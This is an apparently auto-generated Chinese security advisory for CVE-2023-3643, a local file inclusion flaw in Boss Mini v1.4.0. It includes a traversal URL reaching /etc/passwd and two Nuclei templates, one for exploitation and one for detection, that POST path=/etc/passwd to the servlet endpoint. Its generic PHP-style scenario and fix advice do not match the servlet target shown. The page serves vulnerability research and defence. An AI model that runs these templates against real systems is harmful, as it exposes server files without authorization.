[webapps] Boss Mini v1.4.0 - Local File Inclusion (LFI)

📋 漏洞基础信息

🔬 漏洞根因

该漏洞源于对用户输入（如路径参数）的清理不充分，使攻击者能够通过路径遍历符（如../）操作文件路径，读取服务器上的任意文件。

🎯 攻击场景

1. 攻击者识别出应用程序中存在文件包含功能的端点（如/index.php?page=）； 2. 构造恶意URL，如?page=../../../../etc/passwd，通过../进行目录回溯； 3. 向服务器发送包含该参数的HTTP请求； 4. 服务器未过滤或过滤不严，将/etc/passwd文件内容包含并返回给攻击者。

💥 漏洞影响

攻击者可读取服务器上的任意文件（如配置文件、密码文件等），导致敏感信息泄露，可能进一步升级为其他攻击。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2023-3643-exploit

info:
  name: Boss Mini v1.4.0 LFI Exploit
  author: nltt0
  severity: high
  description: Boss Mini v1.4.0 is prone to local file inclusion vulnerability, allowing an attacker to read arbitrary system files.
  reference:
    - https://www.exploit-db.com/exploits/51640
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3643
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-3643
    cwe-id: CWE-22
  tags: cve,cve2023,lfi,boss-mini

variables:
  file: '/etc/passwd'

http:
  - raw:
      - |+
        POST /boss/servlet/document HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange
        Referer: {{BaseURL}}/boss/app/report/popup.html?/etc/passwd

        path={{url_encode:file}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'root:x:0:0:'
          - 'bin:x:1:1:'
          - 'daemon:x:2:2:'
          - 'nobody'
        condition: or
        part: body

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - 'root:[^:]+:[0-9]+:[0-9]+:'

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2023-3643-detection

info:
  name: Boss Mini v1.4.0 LFI Detection
  author: nltt0
  severity: high
  description: Boss Mini v1.4.0 is prone to local file inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51640
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3643
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-3643
    cwe-id: CWE-22
  tags: cve,cve2023,lfi,boss-mini

http:
  - method: POST
    path:
      - '{{BaseURL}}/boss/servlet/document'
      - '{{BaseURL}}/boss/servlet/document;'
      - '{{BaseURL}}/boss/servlet/document;jsessionid={{randstr}}'

    headers:
      Host: '{{Hostname}}'
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
      Content-Type: application/x-www-form-urlencoded
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange
      Referer: '{{BaseURL}}/boss/app/report/popup.html?/etc/passwd'

    body: 'path=/etc/passwd'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'root:'
          - 'nobody:'
          - 'daemon:'
        condition: or

      - type: status
        status:
          - 200

🛡️ 修复建议

建议升级到Boss Mini v1.4.0+补丁版本；临时缓解措施包括对文件包含参数进行白名单验证，禁止包含../等路径遍历字符，确保在包含文件前使用realpath()等函数解析并验证路径在允许范围内。

📎 参考链接

• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-07 06:44 | 来源: Exploit-DB